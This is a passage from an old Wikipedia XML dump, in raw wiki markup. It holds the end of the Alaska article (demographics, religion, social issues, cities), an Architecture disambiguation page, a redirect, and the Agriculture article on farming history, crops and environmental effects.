As of 2005, Alaska has an estimated population of 663,661, which is an increase of 5,906, or 0.9%, from the prior year and an increase of 36,730, or 5.9%, since the year 2000. This includes a natural increase since the last census of 36,590 people derived from its 53,132 births of which 16,542 deaths is subtracted from, and an increase due to net migration of 1,181 people into the state. Immigration from outside the United States resulted in a net increase of 5,800 people, and migration within the country produced a net loss of 4,619 people.

Alaska is the least densely populated state.

===Race and ancestry===
The racial breakdown of the state is:
*67.6% [[Whites|White]] (Non-Hispanic)
*15.6% [[Indigenous peoples of the Americas|Native American]] or [[Alaska Native]]
*4.1% [[Hispanic American|Hispanic]]
*4% [[Asian American|Asian]]
*3.5% [[Blacks|Black]]
*5.4% [[Mixed race]]

The largest ancestry groups in the state are: [[German-American|German]] (16.6%), Alaska Native or American Indian (15.6%), [[Ireland|Irish]] (10.8%), [[British American|English]] (9.6%), [[United States|American]] (5.7%), and [[Norwegian-American|Norwegian]] (4.2%). Alaska has the largest percentage of American Indians (16%) of any state.

The vast, sparsely populated bush regions of northern and western Alaska are primarily inhabited by Alaska Natives, and they also have a large presence in the southeast. Anchorage, Fairbanks, and other parts of south-central and southeast Alaska have many whites of northern and western European ancestry. The Wrangell-Petersburg area has many residents of Scandinavian ancestry and the Aleutians have many Filipinos. Most of the state's black population lives in Anchorage.

[[As of 2000]], 85.7% of Alaska residents age 5 and older speak [[English language|English]] at home and 5.2% speak [[Indigenous languages of the Americas|Native American languages]]. [[Spanish language|Spanish]] speakers make up 2.9% of the population, followed by [[Tagalog]] speakers at 1.5% and [[Korean language|Korean]] at 0.8%.

===Religion===
*[[Christianity|Christian]] &amp;ndash; 81%
**[[Protestantism|Protestant]] &amp;ndash; 68%
***[[Baptist]] &amp;ndash; 11%
***[[Lutheranism|Lutheran]] &amp;ndash; 8%
***[[Methodism|Methodist]] &amp;ndash; 6%
***[[Pentecostalism|Pentecostal]] &amp;ndash; 2%
***[[Episcopal]] &amp;ndash; 1%
***[[Religious Society of Friends|Quaker]] &amp;ndash; 1%
**[[Eastern Orthodoxy|Orthodox]] &amp;ndash; 8%
**[[Roman Catholicism in the United States|Catholic]] &amp;ndash; 7%
**[[Latter-day Saint]] &amp;ndash; 1%
*Other [[religion]]s &amp;ndash; 1%
*Not religious/[[agnosticism|agnostic]] &amp;ndash; 17%

Notable is Alaska's relatively large [[Eastern Orthodox Church|Eastern Orthodox]] [[Christianity|Christian]] population, a result of early [[Russia]]n colonization and [[missionary]] work among indigenous Alaskans.

==Social issues==
Alaska has long had a problem with alcohol use and abuse. Many rural communities in Alaska have outlawed its import. &quot;Dry&quot;, &quot;wet&quot;, and &quot;damp&quot; are terms describing a community's laws on liquor consumption. This problem directly relates to Alaska's high rate of [[Fetal Alcohol Syndrome]] (FAS) as well as contributing to the high rate of suicides. This is a controversial topic for many residents.

Alaska has also had a problem with &quot;[[brain drain]]&quot; as many of its young people, including most of the highest academic achievers, leave the state upon graduating high school. While for many this functions as a sort of [[walkabout]], many do not return to the state. The [[University of Alaska]] has been successfully combating this by offering four-year scholarships to the top 10 percent of Alaska high school graduates, the Alaska Scholars Program.

[[Domestic abuse]] and other violent crimes are also at notoriously high levels in the state; this is in part linked to alcohol abuse.

==Notable Alaskans==
The [[National Statuary Hall]] of the United States of America is part of the [[United States Capitol|Capitol]] in [[Washington, D.C.]] Each state has selected one or two distinguished citizens and provided statues. Alaska's are of its first two senators:
* [[Bob Bartlett|Edward Lewis &quot;Bob&quot; Bartlett]] (1904&amp;ndash;1968) was the territorial delegate to the US Congress from 1944 to 1958, and was elected as the first senior [[United States Senate|U.S. Senator]] in 1958 and re-elected in 1964. There are streets, buildings, and even the first state ferry, named for him.
* [[Ernest Gruening]] (1886&amp;ndash;1974) was appointed Governor of the [[Alaska Territory|Territory of Alaska]] in 1939, and served in that position for fourteen years. He was elected to the United States Senate in 1958 and re-elected in 1962.
* [[Jay Hammond]] (1922&amp;ndash;2005) was Governor during the building of the [[Alaska Pipeline]] and established the [[Alaska Permanent Fund]], providing Alaskans with essentially free money. He is regarded as somewhat of a hero because of this. He was also governor during passage of the [[Alaska National Interest Lands Conservation Act]] and effectively served to moderate associated issues within the state among disparate interest groups ranging from conservationists to natives to pro-development interests.
* [[Fran Ulmer]] was the first woman elected to statewide office&amp;mdash;she became Lieutenant Governor in 1994.
* [[George Sharrock]] (1910&amp;ndash;2005) moved to the territory before statehood, eventually elected as the mayor of Anchorage and served during the [[Good Friday Earthquake]] in March 1964. This was the most devastating earthquake to hit Alaska and it sunk beach property, damaged roads and destroyed buildings all over the south central area. Sharrock, sometimes called the &quot;earthquake mayor,&quot; led the city's rebuilding effort over six months.

==Important cities and towns==
Alaska's most populous city is [[Anchorage, Alaska|Anchorage]], home of 260,283 people, 225,744 of whom live in the urbanized area. It ranks third in the [[List of U.S. cities by area]], behind two other Alaskan cities. Sitka ranks as America's largest city by area, followed closely by Juneau.
[[image:SitkaNOAA.jpg|thumb|253px|[[Sitka, Alaska|Sitka Town]]]]
{|
|valign=&quot;top&quot;|
'''Cities of 100,000 or more people'''
*[[Anchorage, Alaska|Anchorage]]
'''Towns of 10,000-100,000 people'''
*[[Fairbanks, Alaska|Fairbanks]]
*[[Juneau, Alaska|Juneau]]
|}
{|
|valign=&quot;top&quot;|
'''Towns of fewer than 10,000 people'''
*[[Wasilla, Alaska|Wasilla]]
*[[Kodiak, Alaska|Kodiak]]
*[[Ketchikan, Alaska|Ketchikan]]
*[[Ester, Alaska|Ester]]
*[[Sitka, Alaska|Sitka]]
*[[Palmer, Alaska|Palmer]]
*[[Cordova, Alaska|Cordova]]
|width=&quot;50&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
*[[Bethel, Alaska|Bethel]]
*[[Barrow, Alaska|Barrow]]
*[[Kenai, Alaska|Kenai]]
*[[Soldotna, Alaska|Soldotna]]
*[[Unalaska, Alaska|Unalaska]]
*[[Kotzebue, Alaska|Kotzebue]]
*[[Nome, Alaska|Nome]]
*[[North Pole, Alaska|North Pole]]
*[[Houston, Alaska|Houston]]
|width=&quot;50&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
*[[Petersburg, Alaska|Petersburg]]
*[[Homer, Alaska|Homer]]
*[[Dillingham, Alaska|Dillingham]]
*[[Valdez, Alaska|Valdez]]
*[[Seward, Alaska|Seward]]
*[[Delta Junction, Alaska|Delta Junction]]
*[[Glennallen, Alaska|Glennallen]]
*[[Circle, Alaska |Circle]]
*[[Unalakleet, Alaska|Unalakleet]]
|}

===25 richest places in Alaska===
Ranked by [[per capita income]]:
{|
|valign=&quot;top&quot;|
1. [[Halibut Cove, Alaska]] $89,895

2. [[Chicken, Alaska]] $65,400

3. [[Edna Bay, Alaska]] $58,967

4. [[Sunrise, Alaska]] $56,000

5. [[Lowell Point, Alaska]] $45,790

6. [[Petersville, Alaska]] $43,200

7. [[Coldfoot, Alaska]] $42,620

8. [[Port Clarence, Alaska]] $35,286

9. [[Hobart Bay, Alaska]] $34,900
|width=&quot;50&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
10. [[Red Dog Mine, Alaska]] $34,348

11. [[Adak, Alaska]] $31,747

12. [[Meyers Chuck, Alaska]] $31,660

13. [[Pelican, Alaska]] $29,347

14. [[Ester, Alaska]] $29,155

15. [[Chignik Lagoon, Alaska]] $28,941

16. [[Four Mile Road, Alaska]] $28,465

17. [[Healy, Alaska]] $28,225

18. [[Moose Pass, Alaska]] $28,147
|width=&quot;50&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
19. [[Cube Cove, Alaska]] $27,920

20. [[Womens Bay, Alaska]] $27,746

21. [[Skagway, Alaska]] $27,700

22. [[Nelson Lagoon, Alaska]] $27,596

23. [[Valdez, Alaska]] $27,341

24. [[McKinley Park, Alaska]] $27,255

25. [[Attu Station, Alaska]] $26,964
|}
See also: ''[[Richest Places in Alaska]]''

==Colleges and universities==
*[[University of Alaska System]]
**[[University of Alaska Anchorage]]
**[[University of Alaska Fairbanks]]
**[[University of Alaska Southeast]]
*[[Alaska Bible College]]
*[[Alaska Pacific University]]
*[[Charter College (Anchorage, Alaska)|Charter College]]
*[[Ilisagvik College]]
*[[Sheldon Jackson College]]

==External links==
{{sisterlinks|Alaska}}

*{{wikicities|Alaska|Alaska}}
*[http://www.alaska.gov/ State of Alaska website]
*[http://quickfacts.census.gov/qfd/states/02000.html US Census Bureau]
*[http://www.alaska.com/ Alaska.com Information]
*[http://www.travelalaska.com/ Alaska Travel Industry Association]
*[http://www.usnewspapers.org/state/alaska Alaska Newspapers]

===Political parties===
*[http://www.akrepublicans.org/ Alaska Republican Party]
*[http://www.akdemocrats.org/ Alaska Democratic Party]
*[http://www.republicanmoderates.com/ Alaska Republican Moderate Party]
*[http://www.akip.org/ Alaskan Independence Party]
*[http://www.ak.lp.org/ Alaska Libertarian Party]
*[http://www.alaska.greens.org/ Alaska Green Party]

{{Alaska}}
{{United_States}}
[[Category:Alaska|*]]
[[Category:Exclaves]]
[[Category:Russian people in the United States]]
[[Category:States of the United States]]
[[Category:1959 establishments]]
{{link FA|hu}}

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[[gl:Alasca - Alaska]]
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[[zh:阿拉斯加州]]</text>
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  </page>
  <page>
    <title>Architecture (disambiguation)</title>
    <id>625</id>
    <revision>
      <id>33430024</id>
      <timestamp>2006-01-01T00:20:41Z</timestamp>
      <contributor>
        <username>Trevor macinnis</username>
        <id>73333</id>
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      <minor />
      <comment>[[WP:AWB|AWB Assisted]] avoid redirect</comment>
      <text xml:space="preserve">In modern usage, architecture is the [[art]] of creating an actual, implied or apparent plan of any complex [[object]] or [[system]]. The term can be used to connote the ''implied architecture'' of abstract things such as [[music]] or [[mathematics]], the apparent architecture of natural things, such as [[geology|geological]] formations or the [[structural biology|structure of biological cells]], or explicitly ''planned architectures'' of human-made things such as [[Computer software|software]], [[computers]], [[enterprise]]s, and [[database]]s, in addition to buildings. In every usage, an architecture may be seen as a ''subjective [[Map (mathematics)|mapping]]'' from a human perspective (that of the 'user' in the case of abstract or physical artifacts) to the [[Element (mathematics)|elements]] or [[components]] of some kind of [[structure]] or system, which preserves the relationships among the elements/components.

'''Architecture''' may refer to:

* [[Architecture|Architecture (built environment)]], the art and science of designing habitations, buildings, and building complexes; classical architecture.
*  [[Architectural history]] studies the evolution and history of (built) architectures across the world through a consideration of various influences- [[artistic]], [[cultural]], [[political]], [[economic]], and [[technological]].
* [[Architecture (other)]], a representation of an arbitrary abstract, natural, or man-made structure of two or more interacting parts (e.g., architecture of mathematics, architecture of language, cytoarchitecture, cellular architecture, naval architecture, skelletal architecture, battlefield architecture).  All [[systems]] can be said to have an architecture.
* [[Biological architectures]], the ''apparent'' architecture of biological structures. See [[cytoarchitecture]], [[structural biology]], [[cell (biology)|cell architecture]]
* [[Landscape architecture]], the design of man-made land constructs
* [[Systems architecture]], the representation of an engineered (or To Be Engineered) system, and the process and discipline for effectively implementing the design(s) for such a system. Such a system may consist of information and/or hardware and/or software.
* [[Computer architecture]], the systems architecture of a computer.
* [[Software architecture]], the systems architecture of a software system. 
* [[Enterprise architecture]], a systems architecture, or framework,  for aligning an organization's structure/ processes/ information/ operations/  projects with the organization's overall strategy 
* [[Information architecture]], a systems architecture for structuring a knowledge-based system
* [[Product design]], or product architecture, the systems design of a product or product family
* [[Vehicle architecture]], an automobile platform made from a set of components common to a number of different vehicles

{{disambig}}

[[af:Argitektuur]]
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[[zh:&amp;#24314;&amp;#31569;&amp;#23398;]]</text>
    </revision>
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  <page>
    <title>Auteur Theory Film</title>
    <id>626</id>
    <revision>
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      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <text xml:space="preserve">#REDIRECT [[Auteur theory]]
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    <title>Agriculture</title>
    <id>627</id>
    <revision>
      <id>42032966</id>
      <timestamp>2006-03-03T09:38:33Z</timestamp>
      <contributor>
        <username>Pollinator</username>
        <id>22743</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/72.141.123.179|72.141.123.179]] ([[User talk:72.141.123.179|talk]]) to last version by 212.32.71.92</comment>
      <text xml:space="preserve">[[Image:HorseAndPlough.jpg|thumb|300px|A [[farm]]er in [[Germany]] working the land in the traditional way, with [[horse]] and [[plough]].]]
[[Image:Ford_tractor,_Sweden.jpg|thumb|250px|Farming the modern way using a [[tractor]] in [[Sweden]].]]

'''Agriculture''' is the process of producing [[food]], [[feed]], [[fiber]] and many other desired products by the cultivation of certain [[plant]]s and the raising of domesticated [[animal]]s ([[livestock]]). The practice of agriculture is also known as &quot;[[farming]]&quot;, while scientists, inventors and others devoted to improving farming methods and implements are also said to be engaged in agriculture.

More [[Person|people]] in the [[world]] are involved in agriculture as their primary [[economics|economic activity]] than in any other, yet it only accounts for four percent of the world's [[gross domestic product|GDP]].&lt;!--Source?--&gt;

==Overview==
[[Image:Agriculture---Rice.jpg|left|thumb|250px|[[Tea]] plantation in [[Java (island)|Java]], [[Indonesia]].]]

Agriculture sometimes refers to  [[subsistence farming|subsistence agriculture]], the production of enough [[food]] to meet just the needs of the farmer/[[agriculturalist]] and his/her family. It may also refer to industrial agriculture, (often referred to as [[factory farming]]) long prevalent in developed nations and increasingly so elsewhere, which consists of obtaining financial income from the cultivation of land to yield [[produce]], the commercial raising of animals ([[animal husbandry]]), or both.

Agriculture is also short for the ''study'' of the practice of agriculture&amp;mdash;more formally known as [[agricultural science]]. Agricultural students are known (sometimes derisively) as &quot;Aggies&quot;.

Increasingly, in addition to food for humans and [[fodder|animal feeds]], agriculture produces goods such as cut [[flower]]s, ornamental and [[Nursery (horticulture)|nursery]] plants, [[timber]] or lumber, [[fertilizer]]s, [[animal hides]], [[leather]], industrial chemicals ([[starch]], [[sugar]], [[ethanol]], [[alcohol]]s and [[plastic]]s), [[fiber]]s ([[cotton]], [[wool]], [[hemp]], and [[flax]]), fuels ([[methane]] from [[biomass]], [[biodiesel]]) and both legal and illegal drugs ([[biopharmaceutical]]s, [[tobacco]], [[marijuana]], [[opium]], [[cocaine]]). [[GMO|Genetically engineered]] plants and animals produce specialty drugs.

In the [[Western world]], the use of [[genetic modification|gene manipulation]], better management of soil nutrients, and improved [[weed control]] have greatly increased yields per unit area. At the same time, the use of mechanization has decreased labour requirements. The developing world generally produces lower yields, having less of the latest science, [[capital (economics)|capital]], and technology base.

Modern agriculture depends heavily on engineering and technology and on the biological and physical sciences. [[Irrigation]], [[drainage]], [[conservation ethic|conservation]] and sanitary engineering, each of which is important in successful farming, are some of the fields requiring the specialized knowledge of agricultural engineers.

Agricultural chemistry deals with other vital farming concerns, such as the application of fertilizer, insecticides (see [[Pest control]]), and fungicides, soil makeup, analysis of agricultural products, and nutritional needs of farm animals.[[Plant breeding]] and genetics contribute additionally to farm productivity. Advanced seed engineering has allowed strains of seed to become perfect in every farming situation. Seeds can now germinate faster and adapt to shorter growing seasons in different climates. Present-day seed can resist the spraying of pesticides that kill all green-leaf plants. [[Hydroponics]], a method of soilless gardening in which plants are grown in chemical nutrient solutions, may help meet the need for greater food production as the world's population increases.

The packing, processing, and marketing of agricultural products are closely related activities also influenced by science. Methods of quick-freezing and dehydration have increased the markets for farm products (see [[Food preservation]]; [[Meat packing industry]]).

Mechanization, the outstanding characteristic of late [[19th century|19th]] and [[20th century]] agricultural evolution, has eased much of the backbreaking toil of the farmer. More significantly, mechanization has enormously increased farm efficiency and productivity (see [[Agricultural machinery]]). Animals, including horses, mules, oxen, camels, llamas, alpacas, and dogs; however, are still used to cultivate [[field (agriculture)|fields]], harvest [[crops]] and transport farm products to markets in many parts of the world.

Airplanes, helicopters, trucks and tractors are used in agriculture for seeding, spraying operations for insect and disease control, [[Aerial topdressing]], transporting perishable products, and fighting forest fires. Radio and television disseminate vital weather reports and other information such as market reports that concern farmers. Computers have become an essential tool for farm management.

[[Image:Farming-on-Indonesia.jpg|thumb|250px|right|Farming, ploughing rice paddy, in [[Indonesia]].]]

According to the [[National Academy of Engineering]] in the US, agricultural mechanization is one of the 20 greatest engineering achievements of the 20th century. Early in the century, it took one American farmer to produce food for 2.5 people, where today, due to engineering technology (also, [[plant breeding]] and [[agrichemical]]s), a single farmer can feed over 130 people [http://www.greatachievements.org/greatachievements/ga_7_2.html]. This comes at a cost, however, of large amounts of energy input, from unsustainable, mostly [[fossil fuel]], sources.

Animal husbandry means breeding and raising animals for meat or to harvest animal products (like milk, eggs, or wool) on a continual basis.

In recent years some aspects of industrial [[intensive agriculture]] have been the subject of increasing discussion. The widening [[sphere of influence]] held by large seed and chemical companies, meat packers and food processors has been a source of concern both within the farming community and for the general public. There has been increased activity of some people against some farming practices, raising chickens for food being one example. Another issue is the type of feed given to some animals that can cause [[Bovine Spongiform Encephalopathy]] in cattle. There has also been concern because of the disastrous effect that intensive agriculture has on the environment. In the US, for example, fertilizer has been running off into the Mississippi for years and has caused a dead spot in the Gulf of Mexico, where the Mississippi empties. Intensive agriculture also depletes the fertility of the land over time and the end effect is that which happened in the Middle East, were some of the most fertile farmland in the world was turned into a desert by intensive agriculture.

The patent protection given to companies that develop new types of [[seed]] using [[genetic engineering]] has allowed seed to be licensed to farmers in much the same way that computer software is licensed to users. This has changed the balance of power in favor of the seed companies, allowing them to dictate terms and conditions previously unheard of. Some argue these companies are guilty of [[biopiracy]].

[[Soil]] [[conservation ethic|conservation]] and [[nutrient management]] have been important concerns since the [[1950s]], with the best farmers taking a [[stewardship]] role with the land they operate. However, increasing contamination of waterways and wetlands by nutrients like [[nitrogen]] and [[phosphorus]] are of concern in many countries.

Increasing consumer awareness of agricultural issues has led to the rise of  [[community-supported agriculture]], [[local food movement]], [[Slow Food|slow food]], and commercial [[organic farming]], though these yet remain fledgling industries.

==History==
[[Image:Ancient egyptian farmer.gif|thumb|230px|Ancient Egyptian farmer]]

: ''Main article: [[History of agriculture]]''

[[Paleoethnobotany|Archaeobotanists]]/[[Paleoethnobotany|Paleoethnobotanists]] have traced the selection and cultivation of specific food plant characteristics, such as a semi-tough [[rachis]] and larger [[seeds]], to just after the [[Younger Dryas]] (about 9,500 BC) in the early [[Holocene]] in the [[Levant]] region of the [[Fertile Crescent]]. Limited [[anthropology|anthropological]] and [[archaeology|archaeological]] evidence both indicate a [[cereal|grain]]-[[grinding]] [[culture]] [[farming]] along the [[Nile]] in the [[10th millennium BC]] using the world's earliest known type of [[sickle]] [[blade]]s. There is even earlier evidence for conscious cultivation and seasonal harvest: grains of [[rye]] with domestic traits have been recovered from [[Epi-Palaeolithic]] (10,000+ BC) contexts at [[Abu Hureyra]] in [[Syria]], but this appears to be a localised phenomenon resulting from cultivation of stands of wild rye, rather than a definitive step towards domestication. It is not until ca. 8,500 BC, in middle-Eastern cultures referred to as [[Pre-Pottery Neolithic B]] ([[Pre-Pottery Neolithic B|PPNB]]), where there is the first definite evidence for the emergence of a widespread subsistence economy that was dependent on domesticated plants and animals. In these contexts lie the origins of the eight so-called [[Neolithic founder crops|founder crops]] of agriculture: firstly [[emmer wheat]], [[einkorn wheat]], then hulled [[barley]], [[pea]], [[lentil]], [[bitter vetch]], [[chick pea]] and [[flax]]. These eight crops occur more or less simultaneously on [[Pre-Pottery Neolithic B|PPNB]] sites in this region, although the consensus is that [[wheat]] was the first to be sown and harvested on a significant scale. There are many sites that date to between ca. 8,500 BC and 7,500 BC where the systematic farming of these crops contributed the major part of the inhabitants' diet. From the [[Fertile Crescent]] agriculture spread eastwards to [[Central Asia]] and westwards into [[Cyprus]], [[Anatolia]] and, by 7,000 BC, [[Greece]]. Farming, principally of emmer and einkorn, reached northwestern [[Europe]] via southeastern and central Europe by ca. 4,800 BC (see, among others, Price, D. [ed.] 2000. ''Europe's First Farmers''. Cambridge University Press; Harris, D. [ed.] 1996 ''The Origins and Spread of Agriculture in Eurasia''. UCL Press).
[[Image:Agriculture (Plowing) CNE-v1-p58-H.jpg|left|thumb|250px|A [[tractor]] [[plough]]ing an [[alfalfa]] field]]

The reasons for the earliest introduction of farming may have included [[climate]] change, but possibly there were also social reasons (e.g. accumulation of food surplus for competitive gift-giving). Most certainly there was a gradual transition from [[hunter-gatherer]] to agricultural economies after a lengthy period when some crops were deliberately planted and other foods were gathered from the wild. Although localised climate change is the favoured explanation for the origins of agriculture in the [[Levant]], the fact that farming was 'invented' at least three times, possibly more, suggests that social reasons may have been instrumental. In addition to emergence of farming in the [[Fertile Crescent]], agriculture appeared by at least 6,800 BC in East Asia ([[rice]]) and, later, in [[Mesoamerica|Central]] and [[South America]] ([[maize]], [[squash (fruit)|squash]]). Small scale agriculture also likely arose independently in early Neolithic contexts in [[India]] (rice) and [[Southeast Asia]] (taro).&lt;!--Sources?--&gt;

[[Image:ClaySumerianSickle.jpg|thumb|right|230px|[[Sumer]]ian Harvester's sickle, [[3000 BCE]]. Baked clay. [[Field Museum]].]]

Full dependency on domestic crops and animals (i.e. when wild resources contributed a nutritionally insignificant component to the diet) was not until the [[Bronze Age]]. If the operative definition of ''agriculture'' includes large scale intensive cultivation of land, [[mono-cropping]], organised [[irrigation]], and use of a specialized [[labour (economics)|labour]] force, the title &quot;inventors of agriculture&quot; would fall to the [[Sumer]]ians, starting ca. 5,500 BC. Intensive farming allows a much greater density of population than can be supported by hunting and gathering and allows for the accumulation of excess product to keep for winter use or to sell for profit. The ability of farmers to feed large numbers of people whose activities have nothing to do with material production was the crucial factor in the rise of standing armies. The agriculturalism of the Sumerians allowed them to embark on an unprecedented territorial expansion, making them the first [[empire]] builders. Not long after, the Egyptians, powered by effective farming of the [[Nile|Nile valley]], achieved a population density from which enough warriors could be drawn for a territorial expansion more than tripling the Sumerian empire in area.&lt;!--Sources?--&gt;

The invention of a [[three field system]] of crop rotation during the [[Middle Ages]] vastly improved agricultural efficiency.

After [[1492]] the world's agricultural patterns were shuffled in the widespread exchange of plants and animals known as the [[Columbian Exchange]].&lt;!--Is this just Crosby's term or is it more widely used?--&gt; Crops and animals that were previously only known in the Old World were now transplanted to the New and vice versa. Perhaps most notably, the [[tomato]] became a favorite in European cuisine, while certain wheat strains quickly took to western hemisphere soils and became a dietary staple even for native North, Central and South Americans.

By the early [[1800]]s agricultural practices, particularly careful selection of hardy strains and cultivars, had so improved that yield per land unit was many times that seen in the Middle Ages and before, especially in the largely virgin lands of North and South America. With the rapid rise of [[mechanised agriculture|mechanization]] in the 20th century, especially in the form of the [[tractor]], the demanding tasks of [[sowing]], [[harvesting]] and [[threshing]] could be performed with a speed and on a scale barely imaginable before. These advances have led to efficiencies enabling certain modern farms in the United States, Argentina, Israel, Germany and a few other nations to output volumes of high quality produce per land unit at what may be the practical limit.

==Crops==
===World production of major crops in 2004===
In millions of metric tons, based on [[Food and Agriculture Organization | FAO]] estimates[http://faostat.fao.org/faostat/form?collection=Production.Crops.Primary&amp;Domain=Production&amp;servlet=1&amp;hasbulk=0&amp;version=ext&amp;language=EN]:

By crop types
:[[Cereal]]s 2,264
:[[Vegetable]]s and [[melon]]s 866
:[[Root]]s and [[Tuber]]s 715
:[[Milk]] 619
:[[Fruit]] 503
:[[Meat]] 259
:[[Vegetable oil|Oilcrop]]s 133
:[[Fish]] 130 (2001 estimate)
:[[Egg (food)|Eggs]] 63
:[[Pulse (legume)|Pulse]]s 60
:[[Fiber crop|Vegetable Fiber]] 30

By individual crops
:[[Sugar Cane]] 1,324
:[[Maize]] 721
:[[Wheat]] 627
:[[Rice]] 605
:[[Potato]]es 328
:[[Sugar Beet]] 249
:[[Soybean]] 204
:[[Oil palm|Oil Palm]] Fruit 162
:[[Barley]] 154
:[[Tomato]] 120

===Crop improvement===
[[Image:Cropscientist.jpg|right|thumb|250px|An agricultural scientist records corn growth]]
[[Image:Bird netting.jpg|thumb|250px|Netting protecting wine grapes from birds]]
*''See main article on'' [[Plant breeding]]

Domestication of plants is done in order to increase yield, improve disease resistance and drought tolerance, ease harvest and to improve the taste and [[nutrition]]al value and many other characteristics. Centuries of careful selection and breeding have had enormous effects on the characteristics of crop plants. Plant breeders use greenhouses and other techniques to get as many as three generations of plants per year so that they can make improvements all the more quickly.

Plant selection and breeding in the 1920s and '30s improved [[pasture]] (grasses and clover) in New Zealand. Extensive radiation mutagenesis efforts (i.e. primitive genetic engineering) during the [[1950s]] produced the modern commercial varieties of grains such as wheat, corn and barley.&lt;!--Source?--&gt;

For example, average yields of corn ([[maize]]) in the USA have increased from around 2.5 tons per hectare (40 bushels per acre) in [[1900]] to about 9.4 t/ha (150 bushels per acre) in [[2001]], primarily due to improvements in genetics. Similarly, worldwide average wheat yields have increased from less than 1 t/ha in [[1900]] to more than 2.5 t/ha in [[1990]]. [[South America]]n average wheat yields are around 2 t/ha, [[Africa]]n under 1 t/ha, [[Egypt]] and Arabia up to 3.5 to 4 t/ha with irrigation. In contrast, the average wheat yield in countries such as [[France]] is over 8 t/ha. Higher yields are due to improvements in genetics, as well as use of intensive farming techniques (use of fertilizers, chemical [[pest control]], growth control to avoid lodging).&lt;!--Sources?--&gt; [Conversion note: 1 bushel of wheat = 60 pounds (lb) ≈ 27.215 kg. 1 bushel of corn = 56 pounds ≈ 25.401 kg]

In industrialized agriculture, crop &quot;improvement&quot; has often reduced nutritional and other qualities of food plants to serve the interests of producers.  After mechanical tomato-harvesters were developed in the early 1960s, agricultural scientists bred tomatoes that were harder and less nutritious (Friedland and Barton 1975).  In fact, a major longitudinal study of nutrient levels in numerous vegetables showed significant declines in the last 50 years; garden vegetables in the U.S. today contain on average 38 percent less vitamin B2 and 15 percent less vitamin C (Davis and Riordan 2004).

Very recently, [[genetic engineering]] has begun to be employed in some parts of the world to speed up the selection and breeding process. The most widely used modification is a herbicide resistance gene that allows plants to tolerate exposure to glyphosate, which is used to control weeds in the crop. A less frequently used but more controversial modification causes the plant to produce a toxin to reduce damage from insects (c.f. [[Transgenic maize|Starlink]]).

There are specialty producers who raise less common types of livestock or plants.

[[Aquaculture]], the farming of [[fish]], [[shrimp]], and [[algae]], is closely associated with agriculture.

[[Beekeeping|Apiculture]], the culture of bees, traditionally for [[honey]]&amp;mdash;increasingly for crop [[pollination]].

''See also'' : [[botany]], [[List of domesticated plants]], [[List of vegetables]], [[List of herbs]], [[List of fruit]]

==Environmental problems==
Agriculture may often cause environmental problems because it changes natural environments and produces harmful by-products. Some of the negative effects are:

* [[Nitrogen]] and [[phosphorus]] surplus in [[river]]s and [[lake]]s.
* Detrimental effects of [[herbicide]]s, [[fungicide]]s, [[insecticide]]s, and other [[biocide]]s.
* Conversion of natural [[ecosystem]]s of all types into [[arable land]].
* Consolidation of diverse [[biomass]] into a few species.
* [[Erosion]]
* Depletion of [[minerals]] in the [[soil]]
* [[Particulate matter]], including [[ammonia]] and [[ammonium]] off-gasing from animal waste contributing to [[air pollution]]
* [[Weed]]s - [[feral]] plants and animals
* Odor from agricultural [[waste]]
* [[Soil salination]] .

==Policy==
[[Agricultural policy]] focuses on the goals and methods of agricultural production. At the policy level, common goals of agriculture include:
*[[Foodborne illness|Food safety]]: Ensuring that the food supply is free of contamination.
*[[Food security]]: Ensuring that the food supply meets the population's needs.
*[[Food quality]]: Ensuring that the food supply is of a consistent and known quality.

* Conservation
* Environmental impact
* Economic stability

==Agricultural Revolutions==
* [[British Agricultural Revolution]]
* [[Green Revolution]]
* [[Neolithic Revolution]]

==Methods==
There are various methods of agricultural production:

*[[aeroponics]]
*[[aerial topdressing]]
*[[agricultural machinery]]
*[[animal husbandry]]
*[[aquaculture]]
*[[beekeeping]]
*[[crop rotation]]
*[[Concentrated Animal Feeding Operation]] ([[Concentrated Animal Feeding Operation|CAFO]], ''[[factory farming]]'')
*[[composting]]
*[[dairy farming]]
*[[detasseling]]
*[[domestication]]
*[[agricultural fencing|fencing]]
*[[fertilizer]]s
*[[greenhouse]]
*[[harvest]]
*[[heliciculture]]
*[[hybrid seed]]
*[[hydroponics]]
*[[Integrated Pest Management]] ([[Integrated Pest Management|IPM]])
*[[irrigation]]
*[[livestock]]
*[[market gardening]]
*[[monoculture]]
*[[no-till farming]]
*[[organic farming]]
*[[plant breeding]]
*[[Permaculture]]
*[[pollination management]]
*[[precision farming]]
*[[ranching]]
*[[season extension]]
*[[seed saving]]
*[[seed testing]]
*[[shepherding]]
*[[subsistence farming]]
*[[succession planting]]
*[[sustainable agriculture]]
*[[Terrace (agriculture)|terracing]]
*[[vegetable farming]]
*[[tillage]]
*[[weed control]]

==References==
*Wells, Spencer: ''The Journey of Man : A Genetic Odyssey''. Princeton University Press, 2003. ISBN: 069111532X
*Crosby, Alfred W.: ''The Columbian Exchange : Biological and Cultural Consequences of 1492''. Praeger Publishers, 2003 (30th Anniversary Edition). ISBN: 0275980731
*Collinson, M. (editor): ''A History of Farming Systems Research''. CABI Publishing, 2000. ISBN: 0851994059
*Davis, Donald R., and Hugh D. Riordan (2004) Changes in USDA Food Composition Data for 43 Garden Crops, 1950 to 1999. Journal of the American College of Nutrition, Vol. 23, No. 6, 669-682.
*Friedland, William H. and Amy Barton (1975) Destalking the Wily Tomato: A Case Study of Social Consequences in California Agricultural Research.  Univ. California at Sta. Cruz, Research Monograph 15.·

==See also==
* [[Agricultural and Food Research Council]], UK
* [[Agricultural education]]
* [[Agricultural science]]
* [[Agricultural sciences basic topics]]
* [[Arid-zone agriculture]]
* [[Barnyard]]
* [[Community-supported agriculture]]
* [[International agricultural research]]
* [[Family farm hog pen]]
* [[Farm equipment]]
* [[Land Allocation Decision Support System]]
* [[List of domesticated animals]]
* [[List of subsistence techniques]]
* [[List of countries by agricultural output]]
* [[List of sustainable agriculture topics]]
* [[Permaculture]]
* [[Protein per unit area]]
* [[Timeline of agriculture and food technology]].
* [[USA agriculture]]

[[Image:Cows in green field - nullamunjie olive grove03.jpg|thumb|600px|center|Herd of [[Hereford]]s in a green field]]

==External links==
* [http://www.fao.org www.fao.org] — Food and Agriculture Organization of the United Nations World Agricultural Information Centre
